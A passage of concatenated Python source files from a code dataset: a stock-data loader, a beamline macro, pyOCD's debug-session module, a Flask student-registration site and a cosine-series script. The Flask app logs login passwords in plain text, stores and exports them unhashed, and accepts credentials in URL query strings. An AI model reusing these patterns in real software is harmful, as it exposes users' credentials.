range(len(data)):\r\n if (min > data[i].shape[0]):\r\n min = data[i].shape[0]\r\n return min\r\n\r\n def get_delta(self, Y):\r\n Y_shiftright = np.concatenate(([Y[0]], Y), axis=0)\r\n Y_shiftright = np.delete(Y_shiftright, len(Y) - 1, axis=0)\r\n return np.subtract(Y_shiftright, Y)\r\n\r\n def __init__(self, train_ratio, seq_length, output_count, batch_size):\r\n\r\n nasdaq100_small_raw = pd.read_csv(\r\n filepath_or_buffer=\"D:/Projects/tensor2/NASDAQ100/nasdaq100/small/nasdaq100_padding.csv\")\r\n dataset = []\r\n\r\n for i in range(len(nasdaq100_small_raw.values[0])):\r\n temp = nasdaq100_small_raw.values[:, i]\r\n dataset.append(temp)\r\n dataset = np.stack(dataset, axis=1)\r\n # dataset = np.reshape(dataset, [dataset.shape[0], dataset.shape[1], 1])\r\n print(dataset.shape)\r\n self.dataset = dataset\r\n dataset = np.diff(dataset, axis=0)\r\n plt.plot(dataset[:1000, -1])\r\n plt.show()\r\n plot_acf(dataset[:1000, -1])\r\n plt.show()\r\n\r\n train_size = int(len(dataset) * train_ratio)\r\n train_dataset = dataset[:train_size]\r\n test_dataset = dataset[train_size:]\r\n\r\n self.trainX, self.trainY = self.createTrainData_nparray(train_dataset, seq_length, output_count)\r\n self.testX, self.testY = self.createTestData_nparray(test_dataset, seq_length, output_count)\r\n\r\n self.batch_size = batch_size\r\n self.input_dim = self.trainX.shape[1:] # dimension of inputs\r\n self.output_dim = self.trainY.shape[1:]\r\n\r\nif __name__ == \"__main__\":\r\n a = NasdaqGenerator(0.8, 64, 8, 16)\r\n","sub_path":"DataCookers/NASDAQ100dataset.py","file_name":"NASDAQ100dataset.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"634441439","text":"from sardana.macroserver.macro import Macro, Type\nimport time\nimport taurus\n\nclass get_oav_iba_beam(Macro):\n \"\"\"Save fitted oav iba beam in bl13 variables\"\"\"\n \n def run(self):\n oav_iba = taurus.Device('bl13/eh/oav-01-iba')\n bl13vars = taurus.Device('bl13/ct/variables')\n \n if oav_iba.XProjFitConverged and oav_iba.YProjFitConverged:\n XProjFitCenter = oav_iba.XProjFitCenter\n YProjFitCenter = oav_iba.YProjFitCenter\n XProjFitFWHM = oav_iba.XProjFitFWHM\n YProjFitFWHM = oav_iba.YProjFitFWHM\n # Center should be relative to center not to the origin\n # Because changing zoom should not\n else:\n self.warning('beam not fitted')\n","sub_path":"ALBA_BL13_XALOC_USER_MACROS/oav_iba.py","file_name":"oav_iba.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"601693928","text":"# pyOCD debugger\n# Copyright (c) 2018-2020 Arm Limited\n# SPDX-License-Identifier: Apache-2.0\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport logging.config\nimport six\nimport yaml\nimport os\nimport weakref\n\n# inspect.getargspec is deprecated in Python 3.\ntry:\n from inspect import getfullargspec as getargspec\nexcept ImportError:\n from inspect import getargspec\n\nfrom . import exceptions\nfrom .options_manager import OptionsManager\nfrom ..board.board import Board\nfrom ..utility.notification import Notifier\n\nLOG = logging.getLogger(__name__)\n\n## @brief Set of default config filenames to search for.\n_CONFIG_FILE_NAMES = [\n \"pyocd.yaml\",\n \"pyocd.yml\",\n \".pyocd.yaml\",\n \".pyocd.yml\",\n ]\n\n## @brief Set of default user script names to search for.\n_USER_SCRIPT_NAMES = [\n \"pyocd_user.py\",\n \".pyocd_user.py\",\n ]\n\nclass Session(Notifier):\n \"\"\"! @brief Top-level object for a debug session.\n \n This class represents a debug session with a single debug probe. It is the root of the object\n graph, where it owns the debug probe and the board objects.\n \n Another important function of this class is that it contains a dictionary of session-scope\n options. These would normally be passed in from the command line. Options can also be loaded\n from a config file.\n\n Precedence for session options:\n \n 1. Keyword arguments to constructor.\n 2. _options_ parameter to constructor.\n 3. Probe-specific options from a config file.\n 4. General options from a config file.\n 5. _option_defaults_ parameter to constructor.\n \n The session also tracks several other objects:\n - @ref pyocd.gdbserver.gdbserver.GDBServer \"GDBServer\" instances created for any cores.\n - @ref pyocd.probe.tcp_probe_server.DebugProbeServer \"DebugProbeServer\".\n - The user script proxy.\n \n See the @ref pyocd.core.helpers.ConnectHelper \"ConnectHelper\" class for several methods that\n make it easy to create new sessions, with or without user interaction in the case of multiple\n available debug probes. A common pattern is to combine @ref \n pyocd.core.helpers.ConnectHelper.session_with_chosen_probe()\n \"ConnectHelper.session_with_chosen_probe()\" and a **with** block.\n \n A Session instance can be used as a context manager. The session will, by default, be\n automatically opened when the context is entered. And, of course, it will be closed when the\n **with** block is exited (which is harmless if the session was never opened). If you wish to\n disable automatic opening, set the `auto_open` parameter to the constructor to False. If an\n exception is raised while opening a session inside a **with** statement, the session will be\n closed for you to undo any partial initialisation.\n \"\"\"\n \n ## @brief Weak reference to the most recently created session.\n _current_session = None\n \n @classmethod\n def get_current(cls):\n \"\"\"! @brief Return the most recently created Session instance or a default Session.\n \n By default this method will return the most recently created Session object that is\n still alive. If no live session exists, a new default session will be created and returned.\n That at least provides access to the user's config file(s).\n \n Used primarily so code that doesn't have a session reference can access session options. This\n method should only be used to access options that are unlikely to differ between sessions,\n or for debug or other purposes.\n \"\"\"\n if cls._current_session is not None:\n return cls._current_session()\n else:\n return Session(None)\n\n def __init__(self, probe, auto_open=True, options=None, option_defaults=None, **kwargs):\n \"\"\"! @brief Session constructor.\n \n Creates a new session using the provided debug probe. Session options are merged from the\n _options_ parameter and any keyword arguments. Normally a board instance is created that can\n either be a generic board or a board associated with the debug probe.\n \n Note that the 'project_dir' and 'config' options must be set in either keyword arguments or\n the _options_ parameter.\n \n Passing in a _probe_ that is None is allowed. This is useful to create a session that operates\n only as a container for session options. In this case, the board instance is not created, so the\n #board attribute will be None. Such a Session cannot be opened.\n \n @param self\n @param probe The @ref pyocd.probe.debug_probe. \"DebugProbe\" instance. May be None.\n @param auto_open Whether to automatically open the session when used as a context manager.\n @param options Optional session options dictionary.\n @param option_defaults Optional dictionary of session option values. This dictionary has the\n lowest priority in determining final session option values, and is intended to set new\n defaults for option if they are not set through any other method.\n @param kwargs Session options passed as keyword arguments.\n \"\"\"\n super(Session, self).__init__()\n \n Session._current_session = weakref.ref(self)\n \n self._probe = probe\n self._closed = True\n self._inited = False\n self._user_script_namespace = None\n self._user_script_proxy = None\n self._delegate = None\n self._auto_open = auto_open\n self._options = OptionsManager()\n self._gdbservers = {}\n self._probeserver = None\n \n # Set this session on the probe, if we were given a probe.\n if probe is not None:\n probe.session = self\n \n # Update options.\n self._options.add_front(kwargs)\n self._options.add_back(options)\n \n # Init project directory.\n if self.options.get('project_dir') is None:\n self._project_dir = os.getcwd()\n else:\n self._project_dir = os.path.abspath(os.path.expanduser(self.options.get('project_dir')))\n LOG.debug(\"Project directory: %s\", self.project_dir)\n \n # Apply common configuration settings from the config file.\n config = self._get_config()\n probesConfig = config.pop('probes', None)\n self._options.add_back(config)\n\n # Pick up any config file options for this board.\n if (probe is not None) and (probesConfig is not None):\n for uid, settings in probesConfig.items():\n if str(uid).lower() in probe.unique_id.lower():\n LOG.info(\"Using config settings for probe %s\" % (probe.unique_id))\n self._options.add_back(settings)\n \n # Merge in lowest priority options.\n self._options.add_back(option_defaults)\n \n # Logging config.\n self._configure_logging()\n \n # Bail early if we weren't provided a probe.\n if probe is None:\n self._board = None\n return\n \n # Load the user script.\n self._load_user_script()\n \n # Ask the probe if it has an associated board, and if not then we create a generic one.\n self._board = probe.create_associated_board() \\\n or Board(self, self.options.get('target_override'))\n \n def _get_config(self):\n # Load config file if one was provided via options, and no_config option was not set.\n if not self.options.get('no_config'):\n configPath = self.find_user_file('config_file', _CONFIG_FILE_NAMES)\n \n if configPath is not None:\n try:\n with open(configPath, 'r') as configFile:\n LOG.debug(\"Loading config from: %s\", configPath)\n config = yaml.safe_load(configFile)\n if not isinstance(config, dict):\n raise exceptions.Error(\"configuration file %s does not contain a top-level dictionary\"\n % configPath)\n return config\n except IOError as err:\n LOG.warning(\"Error attempting to access config file '%s': %s\", configPath, err)\n \n return {}\n \n def find_user_file(self, option_name, filename_list):\n \"\"\"! @brief Search the project directory for a file.\n \n @retval None No matching file was found.\n @retval string An absolute path to the requested file.\n \"\"\"\n if option_name is not None:\n filePath = self.options.get(option_name)\n else:\n filePath = None\n \n # Look for default filenames if a path wasn't provided.\n if filePath is None:\n for filename in filename_list:\n thisPath = os.path.join(self.project_dir, filename)\n if os.path.isfile(thisPath):\n filePath = thisPath\n break\n # Use the path passed in options, which may be absolute, relative to the\n # home directory, or relative to the project directory.\n else:\n filePath = os.path.expanduser(filePath)\n if not os.path.isabs(filePath):\n filePath = os.path.join(self.project_dir, filePath)\n \n return filePath\n \n def _configure_logging(self):\n \"\"\"! @brief Load a logging config dict or file.\"\"\"\n # Get logging config that could have been loaded from the config file.\n config = self.options.get('logging')\n \n # Allow logging setting to refer to another file.\n if isinstance(config, six.string_types):\n loggingConfigPath = self.find_user_file(None, [config])\n \n if loggingConfigPath is not None:\n try:\n with open(loggingConfigPath, 'r') as configFile:\n config = yaml.safe_load(configFile)\n LOG.debug(\"Using logging configuration from: %s\", config)\n except IOError as err:\n LOG.warning(\"Error attempting to load logging config file '%s': %s\", config, err)\n return\n\n if config is not None:\n # Stuff a version key if it's missing, to make it easier to use.\n if 'version' not in config:\n config['version'] = 1\n # Set a different default for disabling existing loggers.\n if 'disable_existing_loggers' not in config:\n config['disable_existing_loggers'] = False\n # Remove an empty 'loggers' key.\n if ('loggers' in config) and (config['loggers'] is None):\n del config['loggers']\n \n try:\n logging.config.dictConfig(config)\n except (ValueError, TypeError, AttributeError, ImportError) as err:\n LOG.warning(\"Error applying logging configuration: %s\", err)\n \n @property\n def is_open(self):\n \"\"\"! @brief Boolean of whether the session has been opened.\"\"\"\n return self._inited and not self._closed\n \n @property\n def probe(self):\n \"\"\"! @brief The @ref pyocd.probe.debug_probe.DebugProbe \"DebugProbe\" instance.\"\"\"\n return self._probe\n \n @property\n def board(self):\n \"\"\"! @brief The @ref pyocd.board.board.Board \"Board\" object.\"\"\"\n return self._board\n \n @property\n def target(self):\n \"\"\"! @brief The @ref pyocd.core.target.soc_target \"SoCTarget\" object representing the SoC.\n \n This is the @ref pyocd.core.target.soc_target \"SoCTarget\" instance owned by the board.\n \"\"\"\n return self.board.target\n \n @property\n def options(self):\n \"\"\"! @brief The @ref pyocd.core.options_manager.OptionsManager \"OptionsManager\" object.\"\"\"\n return self._options\n \n @property\n def project_dir(self):\n \"\"\"! @brief Path to the project directory.\"\"\"\n return self._project_dir\n \n @property\n def delegate(self):\n \"\"\"! @brief An optional delegate object for customizing behaviour.\"\"\"\n return self._delegate\n \n @delegate.setter\n def delegate(self, new_delegate):\n \"\"\"! @brief Setter for the `delegate` property.\"\"\"\n self._delegate = new_delegate\n \n @property\n def user_script_proxy(self):\n \"\"\"! @brief The UserScriptDelegateProxy object for a loaded user script.\"\"\"\n return self._user_script_proxy\n \n @property\n def gdbservers(self):\n \"\"\"! @brief Dictionary of core numbers to @ref pyocd.gdbserver.gdbserver.GDBServer \"GDBServer\" instances.\"\"\"\n return self._gdbservers\n \n @property\n def probeserver(self):\n \"\"\"! @brief A @ref pyocd.probe.tcp_probe_server.DebugProbeServer \"DebugProbeServer\" instance.\"\"\"\n return self._probeserver\n \n @probeserver.setter\n def probeserver(self, server):\n \"\"\"! @brief Setter for the `probeserver` property.\"\"\"\n self._probeserver = server\n \n @property\n def log_tracebacks(self):\n \"\"\"! @brief Quick access to debug.traceback option since it is widely used.\"\"\"\n return self.options.get('debug.traceback')\n\n def __enter__(self):\n assert self._probe is not None\n if self._auto_open:\n try:\n self.open()\n except Exception:\n self.close()\n raise\n return self\n\n def __exit__(self, type, value, traceback):\n self.close()\n return False\n \n def _init_user_script_namespace(self, user_script_path):\n \"\"\"! @brief Create the namespace dict used for user scripts.\n \n This initial namespace has only those objects that are available very early in the\n session init process. For instance, the Target instance isn't available yet. The\n _update_user_script_namespace() method is used to add such objects to the namespace\n later on.\n \"\"\"\n import pyocd\n import pyocd.flash.file_programmer\n self._user_script_namespace = {\n # Modules and classes\n 'pyocd': pyocd,\n 'exceptions': pyocd.core.exceptions,\n 'Error': pyocd.core.exceptions.Error,\n 'TransferError': pyocd.core.exceptions.TransferError,\n 'TransferFaultError': pyocd.core.exceptions.TransferFaultError,\n 'Target': pyocd.core.target.Target,\n 'State': pyocd.core.target.Target.State,\n 'SecurityState': pyocd.core.target.Target.SecurityState,\n 'BreakpointType': pyocd.core.target.Target.BreakpointType,\n 'WatchpointType': pyocd.core.target.Target.WatchpointType,\n 'VectorCatch': pyocd.core.target.Target.VectorCatch,\n 'Event': pyocd.core.target.Target.Event,\n 'RunType': pyocd.core.target.Target.RunType,\n 'HaltReason': pyocd.core.target.Target.HaltReason,\n 'ResetType': pyocd.core.target.Target.ResetType,\n 'MemoryType': pyocd.core.memory_map.MemoryType,\n 'MemoryMap': pyocd.core.memory_map.MemoryMap,\n 'RamRegion': pyocd.core.memory_map.RamRegion,\n 'RomRegion': pyocd.core.memory_map.RomRegion,\n 'FlashRegion': pyocd.core.memory_map.FlashRegion,\n 'DeviceRegion': pyocd.core.memory_map.DeviceRegion,\n 'FileProgrammer': pyocd.flash.file_programmer.FileProgrammer,\n 'FlashEraser': pyocd.flash.eraser.FlashEraser,\n 'FlashLoader': pyocd.flash.loader.FlashLoader,\n # User script info\n '__name__': os.path.splitext(os.path.basename(user_script_path))[0],\n '__file__': user_script_path,\n # Objects\n 'session': self,\n 'options': self.options,\n 'LOG': logging.getLogger('pyocd.user_script'),\n }\n \n def _update_user_script_namespace(self):\n \"\"\"! @brief Add objects available only after init to the user script namespace.\"\"\"\n if self._user_script_namespace is not None:\n self._user_script_namespace.update({\n 'probe': self.probe,\n 'board': self.board,\n 'target': self.target,\n 'dp': self.target.dp,\n 'aps': self.target.aps,\n })\n \n def _load_user_script(self):\n scriptPath = self.find_user_file('user_script', _USER_SCRIPT_NAMES)\n\n if scriptPath is not None:\n try:\n # Read the script source.\n with open(scriptPath, 'r') as scriptFile:\n LOG.debug(\"Loading user script: %s\", scriptPath)\n scriptSource = scriptFile.read()\n \n self._init_user_script_namespace(scriptPath)\n \n scriptCode = compile(scriptSource, scriptPath, 'exec')\n # Executing the code will create definitions in the namespace for any\n # functions or classes. A single namespace is shared for both globals and\n # locals so that script-level definitions are available within the\n # script functions.\n six.exec_(scriptCode, self._user_script_namespace, self._user_script_namespace)\n \n # Create the proxy for the user script. It becomes the delegate unless\n # another delegate was already set.\n self._user_script_proxy = UserScriptDelegateProxy(self._user_script_namespace)\n if self._delegate is None:\n self._delegate = self._user_script_proxy\n except IOError as err:\n LOG.warning(\"Error attempting to load user script '%s': %s\", scriptPath, err)\n\n def open(self, init_board=True):\n \"\"\"! @brief Open the session.\n \n This method does everything necessary to begin a debug session. It first loads the user\n script, if there is one. The user script will be available via the _user_script_proxy_\n property. Then it opens the debug probe and sets the clock rate from the `frequency` user\n option. Finally, it inits the board (which will init the target, which performs the\n full target init sequence).\n \n @param self\n @param init_board This parameter lets you prevent the board from being inited, which can\n be useful in board bringup situations. It's also used by pyocd commander's \"no init\"\n feature.\n \"\"\"\n if not self._inited:\n assert self._probe is not None, \"Cannot open a session without a probe.\"\n assert self._board is not None, \"Must have a board to open a session.\"\n \n # Add in the full set of objects for the user script.\n self._update_user_script_namespace()\n \n self._probe.open()\n self._closed = False\n self._probe.set_clock(self.options.get('frequency'))\n if init_board:\n self._board.init()\n self._inited = True\n\n def close(self):\n \"\"\"! @brief Close the session.\n \n Uninits the board and disconnects then closes the probe.\n \"\"\"\n if self._closed:\n return\n self._closed = True\n\n LOG.debug(\"uninit session %s\", self)\n if self._inited:\n try:\n self.board.uninit()\n self._inited = False\n except:\n LOG.error(\"exception during board uninit:\", exc_info=self.log_tracebacks)\n \n if self._probe.is_open:\n try:\n self._probe.disconnect()\n except:\n LOG.error(\"probe exception during disconnect:\", exc_info=self.log_tracebacks)\n try:\n self._probe.close()\n except:\n LOG.error(\"probe exception during close:\", exc_info=self.log_tracebacks)\n\nclass UserScriptFunctionProxy(object):\n \"\"\"! @brief Proxy for user script functions.\n \n This proxy makes arguments to user script functions optional. \n \"\"\"\n\n def __init__(self, fn):\n self._fn = fn\n self._spec = getargspec(fn)\n \n def __call__(self, **kwargs):\n args = {}\n for arg in self._spec.args:\n if arg in kwargs:\n args[arg] = kwargs[arg]\n self._fn(**args)\n\nclass UserScriptDelegateProxy(object):\n \"\"\"! @brief Delegate proxy for user scripts.\"\"\"\n\n def __init__(self, script_namespace):\n super(UserScriptDelegateProxy, self).__init__()\n self._script = script_namespace\n \n def __getattr__(self, name):\n if name in self._script:\n fn = self._script[name]\n return UserScriptFunctionProxy(fn)\n else:\n raise AttributeError(name)\n","sub_path":"pyocd/core/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":21469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"342690598","text":"import random, re, StringIO, csv, datetime\nfrom flask import Flask, render_template, request, redirect, url_for, make_response, send_file\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.login import login_user, current_user, logout_user\nfrom aioregister.sample_problems import get_sample_problems\nfrom aioregister.school_login import SchoolLogin\nfrom models import db, School, Deleted, Student\nfrom sqlalchemy.ext.automap import automap_base\n\nclass AioRegisterApplication(Flask):\n def __init__(self, *args, **kwargs):\n Flask.__init__(self, __name__, *args, **kwargs)\n with self.open_resource('wordlist.txt') as f:\n self.wordlist = f.read().split()\n with self.open_resource('countries.txt') as f:\n self.countries = f.read().split('\\n')\n\n @self.route('/')\n def index():\n return render_template('index.html', contestlive=self.contest_links_live())\n\n @self.route('/register/', methods=['GET', 'POST'])\n def register():\n if request.method == 'POST':\n \n school = SchoolLogin.get(request.form['username'])\n if school is not None and \\\n (school.school.password == request.form['password'] or \n (school.school.alt_password is not None and school.school.alt_password == request.form['password'])):\n login_user(school, remember=True)\n self.logger.info(\"[Auth] Sucessful login for '%s' with password '%s'\", request.form['username'], request.form['password'])\n else:\n self.logger.info(\"[Auth] Unucessful login for '%s' with password '%s'\", request.form.get('username','UNSPECIFIED'), request.form.get('password','UNSPECIFIED'))\n return render_template('register_login.html', badlogin=True)\n if (current_user.is_authenticated()):\n school = current_user.school\n students = Student.query.filter_by(school_id=school.id).order_by(Student.division, Student.id)\n return render_template('register.html',\n school=school,\n studentInfo=[\"First Name\", \"Last Name\", \"Username\", \"Password\", \"Year\", \"Gender\", \"Email\", \"Division\"],\n students=students,\n contestlive=self.contest_links_live())\n else:\n return render_template('register_login.html')\n\n @self.route('/sample/')\n def sample():\n return render_template('sample_problems.html', sample_problems=get_sample_problems())\n\n @self.route('/testenv/')\n def test_contest_environment():\n return render_template('test_contest_environment.html')\n\n @self.route('/logout/')\n def logout():\n if current_user.is_authenticated():\n self.logger.info('[AUTH] Logout for user %s', current_user.school.username)\n else:\n self.logger.info('[AUTH] Logout for unauthenticated user')\n logout_user()\n return redirect(url_for('index'))\n\n @self.route('/register/student//edit/', methods=['GET', 'POST'])\n def editstudent(studentid):\n if not current_user.is_authenticated():\n return notauthenticated()\n # ensure student exists and that user has permissions to view student\n student = Student.query.filter_by(id=studentid).first()\n if student is None or student.school_id != current_user.school.id:\n return \"Not your student, or student doesn't exist. Please go back.\"\n\n if request.method == 'POST':\n params = {}\n params['firstname'] = request.form.get('firstname', '').strip()\n params['lastname'] = request.form.get('lastname', '').strip()\n params['year'] = request.form.get('year', '')\n params['gender'] = request.form.get('gender', '')\n params['email'] = request.form.get('email', '').strip()\n params['division'] = request.form.get('division', '')\n if not (params['firstname']):\n return render_template('editstudent.html', message=\"First name must be defined\", **params)\n if not (params['lastname']):\n return render_template('editstudent.html', message=\"Last name must be defined\", **params)\n if not (params['year'] and params['year'].isdigit and int(params['year']) >= 1 and int(params['year']) <= 12):\n return render_template('editstudent.html', message=\"Year must be a number between 1 and 12\", **params)\n if not (params['gender'] and len(params['gender']) == 1 and params['gender'] in 'UFM'):\n return render_template('editstudent.html', message=\"Gender must be chosen from the drop down menu\", **params)\n if not (params['division'] and len(params['division']) == 1 and params['division'] in 'IS'):\n return render_template('editstudent.html', message=\"Division must be chosen from the drop down menu\", **params)\n if not (params['email'] and re.match(r\"^[A-Z'0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}$\", params['email'], re.IGNORECASE)):\n return render_template('editstudent.html', message='Please enter a valid email address', **params)\n if int(params['year']) >= 11 and params['division']!='S':\n return render_template('editstudent.html', message='Students in year 11 and 12 can only compete in the senior division', **params)\n student.firstname = request.form['firstname']\n student.lastname = request.form['lastname']\n student.year = request.form['year']\n student.gender = request.form['gender']\n student.email = request.form['email']\n student.division = request.form['division']\n db.session.add(student)\n db.session.commit()\n return redirect(url_for('register'))\n\n params = {}\n params[\"firstname\"] = student.firstname\n params[\"lastname\"] = student.lastname\n params[\"year\"] = student.year\n params[\"gender\"] = student.gender\n params[\"email\"] = student.email\n params[\"division\"] = student.division\n for i in params:\n if params[i] == None:\n params[i] = \"\"\n return render_template('editstudent.html', **params)\n\n @self.route('/register/student/add/', methods=['GET', 'POST'])\n def addstudent():\n if not current_user.is_authenticated():\n return notauthenticated()\n\n if request.method == 'POST':\n params = {\"addingpage\":True}\n params['firstname'] = request.form.get('firstname', '').strip()\n params['lastname'] = request.form.get('lastname', '').strip()\n params['year'] = request.form.get('year', '') \n params['gender'] = request.form.get('gender', '') \n params['email'] = request.form.get('email', '').strip()\n params['division'] = request.form.get('division', '')\n if not (params['firstname']):\n return render_template('editstudent.html', message=\"First name must be defined\", **params)\n if not (params['lastname']):\n return render_template('editstudent.html', message=\"Last name must be defined\", **params)\n if not (params['year'] and params['year'].isdigit and int(params['year']) >= 1 and int(params['year']) <= 12):\n return render_template('editstudent.html', message=\"Year must be a number between 1 and 12\", **params)\n if not (params['gender'] and len(params['gender']) == 1 and params['gender'] in 'UFM'):\n return render_template('editstudent.html', message=\"Gender must be chosen from the drop down menu\", **params)\n if not (params['division'] and len(params['division']) == 1 and params['division'] in 'IS'):\n return render_template('editstudent.html', message=\"Division must be chosen from the drop down menu\", **params)\n if not (params['email'] and re.match(r\"^[A-Z'0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}$\", params['email'], re.IGNORECASE)):\n return render_template('editstudent.html', message='Please enter a valid email address', **params)\n if int(params['year']) >= 11 and params['division']!='S':\n return render_template('editstudent.html', message='Students in year 11 and 12 can only compete in the senior division', **params)\n uname = self.generate_username(request.form['firstname'], request.form['lastname'])\n student = Student(uname, self.generate_password(),\n current_user.school,\n request.form['firstname'],\n request.form['lastname'],\n request.form['year'],\n request.form['gender'],\n request.form['email'],\n request.form['division'])\n db.session.add(student)\n db.session.commit()\n placetogo = 'register' if request.form.get('another',None) is None else 'addstudent'\n return redirect(url_for(placetogo))\n\n params = {\"addingpage\":True}\n params[\"firstname\"] = \"\"\n params[\"lastname\"] = \"\"\n params[\"year\"] = \"\"\n params[\"gender\"] = \"\"\n params[\"email\"] = \"\"\n params[\"division\"] = \"\"\n for i in params:\n if params[i] == None:\n params[i] = \"\"\n return render_template('editstudent.html', **params)\n\n @self.route('/register/student//delete/')\n def deletestudent(studentid):\n # ensure that user is logged in\n if not current_user.is_authenticated():\n return \"not authenticated\"\n # ensure student exists and that user has permissions to view student\n student = Student.query.filter_by(id=studentid).first()\n if student is None or student.school_id != current_user.school.id:\n return \"not your student, or student doesn't exist\"\n return render_template('deletestudent.html', student=student)\n\n @self.route('/register/student//finaldelete/')\n def deletestudentfinal(studentid):\n # ensure that user is logged in\n if not current_user.is_authenticated():\n return \"not authenticated\"\n # ensure student exists and that user has permissions to view student\n student = Student.query.filter_by(id=studentid).first()\n if student is None or student.school_id != current_user.school.id:\n return \"not your student, or student doesn't exist\"\n db.session.add(Deleted(student.username))\n db.session.delete(student)\n db.session.commit()\n return redirect(url_for('register'))\n\n @self.route('/register/school/edit/', methods=['GET', 'POST'])\n def editschool():\n if not current_user.is_authenticated():\n return notauthenticated()\n cschool = current_user.school\n if request.method == 'POST':\n params = {\"countries\":self.countries}\n params['schoolname'] = request.form.get('schoolname', '') \n params['teachername'] = request.form.get('teachername', '').strip()\n params['email'] = request.form.get('email', '').strip()\n params['phone'] = request.form.get('phone', '') \n if not (params['schoolname']):\n return render_template('editschool.html', message=\"School name must be defined\", **params)\n if not (params['teachername']):\n return render_template('editschool.html', message=\"Teacher name must be defined\", **params)\n if not (params['phone']):\n return render_template('editschool.html', message=\"Phone number must be entered\", **params)\n if not (params['email'] and re.match(r\"[A-Z'0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,4}\", params['email'], re.IGNORECASE)):\n return render_template('editschool.html', message='Please enter a valid email address', **params)\n cschool.school_name = request.form['schoolname']\n cschool.teacher_name = request.form['teachername']\n cschool.email = request.form['email']\n cschool.phone = request.form['phone']\n db.session.add(cschool)\n db.session.commit()\n return redirect(url_for('register'))\n\n params = {\"countries\":self.countries}\n params[\"schoolname\"] = cschool.school_name \n params[\"teachername\"] = cschool.teacher_name \n params[\"email\"] = cschool.email\n params[\"phone\"] = cschool.phone \n for i in params:\n if params[i] == None:\n params[i] = \"\"\n return render_template(\"editschool.html\", school=cschool, **params)\n\n def notauthenticated():\n return \"not authenticated\"\n \n @self.route('/register/school/students.csv')\n def downloadStudents():\n if not current_user.is_authenticated():\n return notauthenticated()\n cschool = current_user.school\n si = StringIO.StringIO()\n cw = csv.writer(si)\n cw.writerow((\"First Name\", \"Last Name\", \"Year\", \"Division\", \"Email\", \"Username\", \"Password\"))\n students = Student.query.filter_by(school_id=cschool.id).order_by(Student.division, Student.id)\n studentData = [(s.firstname, s.lastname, s.year, (\"Intermediate\" if s.division==\"I\" else \"Senior\"), s.email, s.username, s.password) for s in students]\n cw.writerows(studentData)\n output = make_response(si.getvalue())\n output.headers[\"Content-Disposition\"] = \"attachment; filename=AIOstudents.csv\"\n output.headers[\"Content-type\"] = \"text/csv\"\n return output\n\n @self.route('/contest/')\n def contestlisting():\n return render_template(\"contests.html\", contestlive=self.contest_links_live())\n @self.route('/docs/rules.pdf')\n def rulebookpdf():\n return self.pdfresponse('docs/rules.pdf', 'rules')\n\n @self.route('/docs/aio18-int.pdf')\n def aio15intpdf():\n if not current_user.is_authenticated():\n return notauthenticated()\n if not self.contest_links_live():\n return \"Page not found\", 404\n return self.pdfresponse('docs/aio18-int.pdf', 'aio18-int')\n\n @self.route('/docs/aio18-sen.pdf')\n def aio15senpdf():\n if not current_user.is_authenticated():\n return notauthenticated()\n if not self.contest_links_live():\n return \"Page not found\", 404\n return self.pdfresponse('docs/aio18-sen.pdf', 'aio18-sen')\n\n @self.route('/docs/feedback')\n def feedback():\n argusername=request.args.get('username', None)\n argpassword=request.args.get('password', None)\n if argusername is None or argpassword is None:\n return \"invalid username or password\", 403\n student = Student.query.filter_by(username=argusername, password=argpassword).first()\n if student is None:\n return \"invalid username or password\", 403\n zippath = 'docs/feedback/%s.zip' % argusername\n zipname = '%s.zip' % argusername\n data = self.open_resource(zippath).read()\n response = make_response(data)\n response.headers['Content-Type'] = 'application/zip'\n response.headers['Content-Disposition'] = \\\n 'inline; filename=%s' % zipname\n return response\n \n\n def pdfresponse(self, fpath, fname):\n with self.open_resource(fpath) as f:\n data = f.read()\n response = make_response(data)\n response.headers['Content-Type'] = 'application/pdf'\n response.headers['Content-Disposition'] = \\\n 'inline; filename=%s.pdf' % fname\n return response\n\n\n def contest_links_live(self):\n tnow = datetime.datetime.utcnow()\n tlive = datetime.datetime(2018,8,22,22,0)\n islive = tnow >= tlive\n return islive\n\n def generate_password(self):\n return random.choice(self.wordlist)+random.choice(self.wordlist) \n\n def generate_username(self, firstname, lastname):\n firstname = filter(lambda x: x >= 'a' and x <= 'z', firstname.lower())\n lastname = filter(lambda x: x >= 'a' and x <= 'z', lastname.lower())\n candidate = firstname[:6] + lastname[:3]\n appendage = '' if len(candidate) != 0 else '1'\n if self.username_exists(candidate+str(appendage)):\n appendage = 1\n while self.username_exists(candidate+str(appendage)):\n appendage += 1\n return candidate + str(appendage)\n\n def username_exists(self, uname):\n return (Student.query.filter_by(username=uname).first() is not None or\n Deleted.query.filter_by(username=uname).first() is not None)\n\n def init_db(self):\n db.init_app(self)\n db.app = self # slight hack to work around flask's context \"feature\"\n db.create_all()\n db.session.commit()\n","sub_path":"aioregister/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"611715447","text":"#65. cosine series print and sumation of its:\n\n\ndef fact(n): # define the function of n used for factorial used .??\n fact = 1\n while n > 0:\n fact*=n\n n = n - 1\n return fact\nn=int(input(\"enter the number of term :\"))\nx=int(input(\"enter the value of x:\"))\nsum=1\nfor i in range (1,n+1):\n sum = sum + ((((-1)**i)) * (x**(2*i))) / fact(2*i) # cosine series formula in fact 